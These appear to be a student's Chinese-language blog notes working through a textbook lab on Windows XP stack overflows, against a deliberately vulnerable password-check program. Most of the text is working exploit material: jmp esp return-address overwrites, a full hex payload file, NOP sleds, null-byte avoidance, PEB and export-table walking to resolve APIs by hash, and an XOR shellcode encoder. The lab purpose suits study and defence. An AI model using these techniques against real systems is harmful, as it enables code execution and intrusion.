dustland

dustball in dustland

shellcode

shellcode

jmp esp

在第二章的实验中,跳转执行堆栈中的shellcode时,使用的是绝对地址,只要是换个系统,可能就不是这个地址了.user32在不同的平台上,映像基址也不同,MessageBoxA函数的地址也不同.

也就是说第二章的代码只适用于很小范围的操作系统环境.现在要开发老少通吃的shellcode代码.

由于动态链接库的装载,函数栈帧可能每次运行都不同

但是有一点可以确定的是,esp栈顶指针总会在一个函数retn之前退回到函数一开始时的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00401090;开端
.text:00401090 push ebp;这个push和最后的pop也是相对应的
.text:00401091 mov ebp, esp
.text:00401093 sub esp, 448h;扩大448个字节
....;正文部分
;尾声
.text:00401152 add esp, 448h;退栈448h个字节
.text:00401158 cmp ebp, esp
.text:0040115A call __chkesp
.text:0040115F mov esp, ebp
.text:00401161 pop ebp
.text:00401162 retn
.text:00401162 _main_0 endp ; sp-analysis failed

retn之后,esp退回到调用之前的状态,即调用者已经将参数压栈准备好的状态,接下来调用者就得清理参数了

image-20220917092022180

根据这一点,可以将shellcode溢出到被调用者栈帧,调用者ebp,返回地址,参数,调用者栈帧

其中返回地址之后的(被调用者栈帧,调用者ebp)随便填充

返回地址可以找一条jmp esp的地址放上

shellcode写到返回地址之前的参数,甚至调用者栈帧里

image-20220917092903771

之后eip顺势执行返回地址之前的shellcode

现在的问题是,从哪里找jmp esp,显然要从一个万年不变的地方,相对来说,user32.dll,kernel32.dll这种动态库就是个好地方

正常情况下,系统的dll的代码段是找不到jmp esp这种脑残一样的指令的,既要堆栈不可执行,又要控制跳转到堆栈,属于是既要当婊子,又要立牌坊了.

但是jmp esp本质上就是0xFFE4这么一个机器码,从海量的dll库中,随便挑一个地方查0xFFE4这么一串数字,不是没有存在的可能

用ida打开user32.dll,Ctrl+B查找字节序列0xFFE4,能找到很多这种序列,比如

一定要注意字节序

一定要注意字节序,一定要注意字节序,一定要注意字节序,一定要注意字节序,一定要注意字节序

为了让程序弹窗之后能够正常退出,需要调用exit(0)函数,这个函数在kernel32.dll中,可以用dependency walker查其位置

Kernel32.dll映像基址0x77E40000,

ExitProcess函数的RVA=0x00015CB5

则VA(ExitProcess)=RVA(ExitProcess)+ImageBase(Kernel32.dll)=0x77E55CB5

为了将shellcode从汇编指令转化为机器码,可以使用内联汇编_asm{}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm {
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 // push failwest
mov eax,esp // load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D3ADD7 // address should be reset in different OS
call eax // call MessageboxA
push ebx
mov eax,0x77E55CB5
call eax // call exit(0)
}
}

编译链接之后用010editor打开,在.text节找到内联的汇编代码

image-20220917101452302

对应的机器码为

1
2
66 81 EC 40 04 33 DB 53 68 77 65 73 74 68 66 61
69 6C 8B C4 53 50 50 53 B8 D7 AD D3 77 FF D0

这是31个字节

从buffer到返回地址家门口一共是52个字节,随便用52个'A'填充即可

image-20220917003031600

然后返回地址用0x77D4754A覆盖

然后加上31个字节的shellcode,就得到了完整的exploit,共52+4+31=87字节

image-20220917104046117

放到windows虚拟机上跑一下

pwn!

通了

但是点击确定之后还是会报错

image-20220917104550420

eip=0x12FB49的时候发生的错误,错误代码0x80000003,意思是遭遇到中断了

下面调试一下看看发生了什么

调试

strcmp拷贝password到buffer之后

image-20220917105035975

retn之后

image-20220917105128605

控制已经转移到user32.dll中,0x77D4754A位置,将要执行jmp esp,而此时esp=0x12FB28

0x12FB28

此处正是溢出放置的shellcode

jmp esp之后

image-20220917105357095

控制已经转移到0x12F828

call eax之后,竟然是一个add ah,cl,然后紧跟着就是一大片int 3中断指令,不是预期的

1
2
mov eax,0x77E55CB5
call eax // call exit(0)

在执行完add ah,cl之后,控制到达0x12FB49位置,这时候程序就会报告0x80000003号错误了

检查了一圈发现原来是忘记拷贝这两条指令的机器码了,绷不住了

改正后的password.txt

1
2
3
4
5
6
7
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 4A 75 D4 77 66 81 EC 40 04 33 DB 53
68 77 65 73 74 68 66 61 69 6C 8B C4 53 50 50 53
B8 D7 AD D3 77 FF D0 53 B8 B5 5C E5 77 FF D0

用这个password.txt作为负载就打通了,并且程序能够全身而退不报错

扩大靶面积

shellcode放在那里?

第二章将shellcode直接写入buffer中,有被再次长起来的堆栈覆盖的风险

本章的方法直接将shellcode藏到ESP的头上,ESP只会向下长,就不用担心shellcode被覆盖了

image-20220917111521845

如果buffer足够大,远远不用担心堆栈长起来复仇,则可以使用2.4的方法.

2.4的方法相对于3.2的方法,其好处是溢出只发生于被调用者栈帧,shellcode执行完之后比较容易归还控制,还原寄存器

但是3.2的实验,往调用者栈帧溢出,就不容易归还控制和寄存器了

但是2.4的缺点是,溢出返回地址时使用的是堆栈的绝对地址,而不同操作系统上可能堆栈位置会发生变化,因此适用性差

折中方案

有一个集合两个方法有点的方法,

image-20220917112905475

啥意思呢?

将返回地址还是溢出成一条jmp esp的地址,但是紧跟在返回地址之前,也就是返回后esp指向的地址,不直接放shellcode,而是放一条相对跳转.跳回到"被调用者栈帧"(加引号是因为返回后被调用者栈帧已经扬了,只不过原来写到上面的东西都还没擦)

而shellcode早已放在被调用者栈帧的buffer中了

这种方法还是有shellcode被再次长起来的堆栈覆盖的风险

image-20220917113049128

预防堆栈覆盖shellcode

但是有对策,在shellcode一开始先让栈顶下降到shellcode以下,保证堆栈再怎么长都和shellcode无关

image-20220917113652524

x是多少?扩大靶面积

还有一个问题,x是多少呢?

buffer与retn之后的esp的距离,一定就是常数x吗?

也不一定,考虑对齐,优化各种因素,x可能会变

那么怎么准确的让jmp esp-x这条指令能够跳转到shellcode中呢?

如果buffer足够大,可以在其一开始填充很多nop(0x90)指令,啥也不干,但是eip会向高地址端移动

然后在buffer较高的地方放置shellcode,这样jmp esp-x,不管x是多少,只要能跳到那一大堆nop中的任意一条,就可以执行shellcode

image-20220917144909728

实验验证

实验验证刚才这几点

可以利用的程序,其中verify_password的缓冲区buffer从44字节扩大到200字节,目的是一开始可以填充很多nop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
//确保可以调用windows API
#include <windows.h>
#include <string.h>
#include <stdlib.h>

#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[200];//缓冲区扩大到200个字节,方便容纳nop和shellcode
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); // over flowed here!
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); // prepare for messagebox
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

首先调试观察verify_password函数栈帧

buffer的位置

1
2
3
4
5
6
7
13:       strcpy(buffer, password); // over flowed here!
00401052 mov ecx,dword ptr [ebp+8]
00401055 push ecx
00401056 lea edx,[ebp-0CCh]
0040105C push edx
0040105D call strcpy (004011b0)
00401062 add esp,8

buffer位于ebp-0x0CCh处,在windows XP上调试时,ebp=0x0012FB20

栈帧长这样,(奇了怪了buffer总是贴着authenticated长)

image-20220917150018794

shellcode咋写

将buffer的前100个字节全都用nop(0x90)填充,然后放shellcode,这是139个字节了,

然后再填充69个字节,到返回地址家门口,此时已有208个字节,

从user32.dll中"借一个"jmp esp,地址为0x77D4754A,此时已有20C个字节,

一定要注意字节序

然后在retn后的esp位置放一条jmp esp-x指令,注意这里是指令的机器码,不是指令的地址,

这里x可以是多少呢?

0x60-0xD4之间均可

image-20220917150804610

不妨娶一个x=0xA0,

如果把jmp esp-0xA0拆成两条指令

1
2
sub esp,0xA0
jmp esp

机器码为81 EC A0 00 00 00 FF E4

直接在这里将栈顶下降到shellcode正文的基地址处,就免去了shellcode一开始再下降栈顶了

当然shellcode中再让栈顶往下个十万八千里也不是不行

到此password.txt长这样

image-20220917155237143

最后这里就有问题了,81 EC A0 00 00 00是sub esp,0xA0的机器码,

A0 00 00 00是立即数,其中包含00了,在strcpy的时候会被截断,导致后面的FF E4无法拷贝到buffer中.

有00咋办

这咋办呢?要从指令上做文章了

首先,esp-0xA0,实际上和sp-0xA0效果相同,但是sp是一个字寄存器,esp是一个双字寄存器,

sub sp,0xA0的立即数更短,但是立即数0x00A0高一个字节仍然是00,还是白搭

我试图用sub spl,0xA0,只用sp寄存器的最低规格,但是编译器报错说没有spl这个标号,也就是说最低最低能够操作的就是sp寄存器了

考虑到减一个正数,相当于加它的相反数,那么sub sp,0xA0就等于add sp,0xFF60

这就没有00了

指令 机器码
add sp,0xFF60 66 81 C4 60 FF 90
jmp esp FF E4

正好八个字节,相当于覆盖了一个参数还有main栈帧顶的4个字节,不是很严重,肯定没有覆盖main函数的返回值

到此password.txt长这样

没有任何一个字节是00

放到windows XP上试一试

通了

调试

strcpy之后

image-20220917162316226

shellcode已经写入了

0x12FB24存储的返回地址已经被覆盖为0x77D47754A

retn之后

image-20220917162545781

跳转到jmp esp指令的地址,此时esp指向0x12FB28,对应抬栈跳转两条指令(中间填了一个nop(0x90))

第一个jmp esp之后

image-20220917162846919

抬栈之后esp=0x12FA88,这里上下都是0x90,全是nop,然后马上就要一个jmp esp跳进来

第二个jmp esp之后

image-20220917163016363

此后eip将沿着0x12FA88->0x12FA89这个增大的方向进展

在0x12FAB8处将会碰见第一条有意义的指令,抬栈1234h,显然这是不必要的,因为第二个jmp esp之前,已经把esp放到不会影响shellcode的位置了

通用shellcode

准备工作

动态定位库函数的方法

前面的方法仍然不是通用的,不同的操作系统上,user32.dll库的地址是可变的,其中函数的地址自然也是可变的,而我们在寻找第一个jmp esp时使用了库函数的绝对地址.

这就是局限性的根源所在

要克服这个局限性,必须在shellcode运行时,动态地寻找目的函数或者目的指令,而不是我们亲自找了给他写死

在win32平台下,动态定位kernel32.dll中函数地址的方法是这样的:

1.FS段选择子会指向全局段描述表中本程序的TEB描述符,通过TEB描述符中的基地址可以查到内存中的TEB表

TEB,thread environment block,线程环境块,存放进程中的线程信息,一个进程中的每个线程都会有一个TEB,每个进程自己会有一个PEB

2.TEB表的0x30偏移处,存放着PEB的指针

3.PEB表的0x0C偏移处,存放着PEB_LDR_DATA结构体的指针

4.PEB_LDR_DATA结构体的0x1C偏移处,存放着InInitializationOrderModuleList指针

InInitializationOrderModuleList,模块初始化链表

5.InInitializationOrderModuleList表中,按顺序存放着本程序运行时装载的模块信息,第一个结点是ntdll.dll的信息,第二个结点是kernel32.dll的信息

6.kernel32.dll结点中,偏移量为0x08处就是kernel32.dll的内存基地址指针

7.kernel32.dll的基地址加上0x3C是kernel32.dll的PE头

8.kernel32.dll的PE头的0x78偏移处,存放函数导出表指针

9.在导出表中:

导出表的0x1C偏移处,存放导出函数偏移地址(RVA)列表的指针

导出表的0x20偏移处,存放导出函数函数名列表的指针

一个导出函数在函数名表和导出地址表中的下标是相同的,用函数名查函数名表获得下标,然后用下标查导出地址表,就可以获得函数地址(RVA)

RVA(function)+ImageBase(kernel32.dll)=VA(function),这里kernel32.dll的映像基址已经在第6步获得了

在kernel32.dll中找到LoadLibrary和GetProcAddress两个函数之后,就可以无脑调用函数来获取库函数地址了,不用再经历1-9的步骤了

从图上看这个过程,能画出这个图来的老师儿也针的绝了

md,绝了

shellcode 开发环境

最方便的shellcode开发方法是使用内联汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
char shellcode[] = "\x66\x81\xEC\x40\x04\x33\xDB……"; //欲调试的十六
//进制机器码"
void main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
}

如此可以很方便地将控制转移到shellcode中

比如测试弹窗的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
char shellcode[] =
//"\x66\x81\xEC\x40\x04" // SUB SP,440
"\x33\xDB" // XOR EBX,EBX
"\x53" // PUSH EBX
"\x68\x77\x65\x73\x74" // PUSH 74736577
"\x68\x66\x61\x69\x6C" // PUSH 6C696166
"\x8B\xC4" // MOV EAX,ESP
"\x53" // PUSH EBX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x53" // PUSH EBX
"\xB8\xD7\xAD\xD3\x77" // MOV EAX,user32.MessageBoxA//function address varies between os
"\xFF\xD0" // CALL EAX
"\x53" // PUSH EBX ;/ExitCode
"\xB8\xB5\x5C\xE5\x77" // MOV EAX,kernel32.ExitProcess
"\xFF\xD0"; // CALL EAX ;\ExitProcess

void main()
{
HMODULE hmod=LoadLibraryA("user32.dll");//to ensure user32.dll is loaded
if(!hmod){
printf("load failed");
return;
}
__asm
{
lea eax, shellcode
push eax
ret
}
}
image-20220917174306682

哈希算法

shellcode讲究一个短小精悍,如果为了找一个库函数,把它的名字比如"MessageBoxA"完整地放到shellcode中,自然不愿意.

要是shellcode的空间有限,光一个函数名就可以占用很大空间,可能就没有足够的地方做完剩下的逻辑了

因此采用哈希算法处理函数名,

我们想要的函数名哈希一下,遍历库函数时每个函数名都哈希一下,和我们自己的哈希值比划比划,要是一样就认为找到了目标函数

书上采用的哈希算法为:

1
2
3
4
5
6
7
8
9
10
11
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while (*fun_name)
{
digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位
digest += *fun_name; //累加
fun_name++;
}
return digest;
}

每次循环右移7位然后加上函数名的一个字节,直到遍历函数名到NULL,算法结束,返回digest摘要值

这样哈希算法的返回值是一个DWORD双字,比较两个双字只需要一条指令,cmp a,b就可以了

用该哈希函数得到的摘要值:

函数名 摘要值(Hex)
MessageBoxA 1e380a6a
LoadLibraryA c917432
ExitProcess 4fd18963

好了,现在会做1+1=2了,下面解一道考研高数题

shellcode动态定位API

分析一下书上给出的shellcode代码都是干了啥

初始化,放置需要查找的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nop
nop



nop
nop ;为了便于观察,shellcode的开头结尾都放几个nop
nop
CLD ; clear flag DF,改变串操作的方向,保证在执行shellcode时是正方向的
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function

这一坨执行完毕后栈帧的状态

image-20220917184259697

抬栈

1
2
3
4
; make some stack space
xor ebx,ebx ;ebx置空
mov bh, 0x04 ;ebx=0x400;
sub esp, ebx ;栈顶下降0x400个字节;
image-20220917190658920

"user32"压栈

1
2
3
4
5
6
7
; push a pointer to "user32" onto stack 
mov bx, 0x3233 ; rest of ebx is null "32"
push ebx ;0x3233压栈
push 0x72657375 ;"user"
push esp

xor edx,edx ;edx=0
image-20220917191100826

寻找kernel32.dll基地址

1
2
3
4
5
6
; find base addr of kernel32.dll 
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
依据

最外圈循环,寻找下一个库函数

在执行本部分之前,esi在栈中的指向如图

image-20220917191632775
1
2
3
4
5
6
7
8
9
10
find_lib_functions: 

lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll

lodsd指令,取得是双字节,即mov eax,[esi],esi=esi+4;

此处lodsd相当于把0x0c917432放到eax上,然后esi+4,执行后栈的状态

image-20220917191748156

显然eax=0x0c917432!=0x1e380a6a,jne条件转移实现

因此跳转find_functions

如果这里eax=0x1e380a6a即意味着要寻找MessageBoxA函数地址,则jne条件不满足,顺序执行,

1
2
3
4
xchg eax, ebp 			; save current hash 
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll

这里edi-0x8是LoadLibraryA的地址,显然是已经获取LoadLibraryA的地址了,这是后话了

遍历两个表寻找目标函数

开端
1
2
3
4
5
6
7
8
9
find_functions: 
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions

所有通用寄存器压栈保存,然后各司其职设置参数

image-20220917195103779

在此之前ebp是指向kernel32.dll的基地址的,其他各个数值依据ebp加上偏移量得到

库函数表指针后移一个单位
1
2
3
4
5
next_function_loop: 
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)

edi作为下标,ebx是函数名表的基地址,

[ebx+edi*4]是一个基址变址寻址,相当于访问数组,数组的每个元素都是4字节的

显然函数名表的每个表项都是4字节的字符串指针,

mov esi, [ebx + edi * 4]相当于把一个库函数名指针相对Kernel32.dll的偏移量放到esi上了

然后加上ebp(kernel32.dll映像基址),就得到了库函数名指针的绝对地址

cdq的作用是eax有符号拓展到edx:eax

计算一个库函数名的摘要

这就是GetHash函数的汇编版本

1
2
3
4
5
6
7
8
hash_loop: 
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop

esi是库函数名指针,取出一个字节解引用后带符号拓展到eax上

如果al和ah相等,说明eax=0,即已经扫描到这个字符串的'\0',应该结束了,跳转compare_hash进行比较

否则该字符串还没有结束,继续取值直到al=ah

比较摘要值

到达这一步的时候,是hash_loops计算完库函数名的摘要值了,结果放到了edx上

1
2
3
compare_hash:	
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop

esp+0x1C指向谁呢?保存的我们希望寻找的摘要值

[esp+0x1C]解引用,将希望寻找的摘要值和edx进行比较,如果为0说明找到了,不用跳转,否则没找到就得重复next_function_loop计算下一个库函数的摘要和希望的摘要进行比较

如果匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions

用名字表的下标查序号表,再用序号表相应值作为下标查导出函数地址表,然后把地址放到eax,写到edi指向的地址上

当eax=0x1e280a6a,即MessageBoxA的摘要时,说明所有函数的地址都查完了并且写好了

否则还有函数没有解析地址,至少MessageBoxA没有,跳转find_lib_functions外圈大循环,寻找下一个希望的摘要值对应函数的地址

调用函数

执行到这里,所有函数都已经解析完毕,下面就要调用窗口并且exit(0)返回了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop

shellcode加壳

shellcode加壳,其目的要么是消去其中的00字节,使得整个shellcode可以被串拷贝进入缓冲区,防止截断

并且还可能绕过安全检查?

书上给出的加壳函数decode,使用key=0x44对input字符串进行异或加密,input的逐个字节都和key进行异或,结果写入encode.txt

解码器是这样写的

1
2
3
4
5
6
7
8
9
10
			add eax, 0x14 //locate the real start of shellcode
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x44 //key,should be changed to decode
mov [eax+ecx],bl

inc ecx
cmp bl,0x90 // assume 0x90 as the end mark of shellcode
jne decode_loop

一开始eax增加20个字节,正好跳过解码器

解码器编译之后生成的机器码

1
2
83 C0 14 33 C9 8A 1C 08 80 F3 44 88 1C 08 41 80
FB 90 75 F1

ecx一开始置零,后来[eax+ecx]是一个基址编址寻址,eax是基址,即shellcode的基地址,ecx是偏移量,ecx会遍历shellcode区域.当解码出0x90时,意味着shellcode到头了(我们自己规定的shellcode最后以0x90结尾),此时不再重复decode_loop,控制自然顺序转移给shellcode的起始位置

否则,即尚未解码出0x90,则shellcode还没有完全解密,重复decode_loop

将解码器的机器码放到shellcode之前,然后将整体放到字符数组里丢到调试环境里就可以弹窗了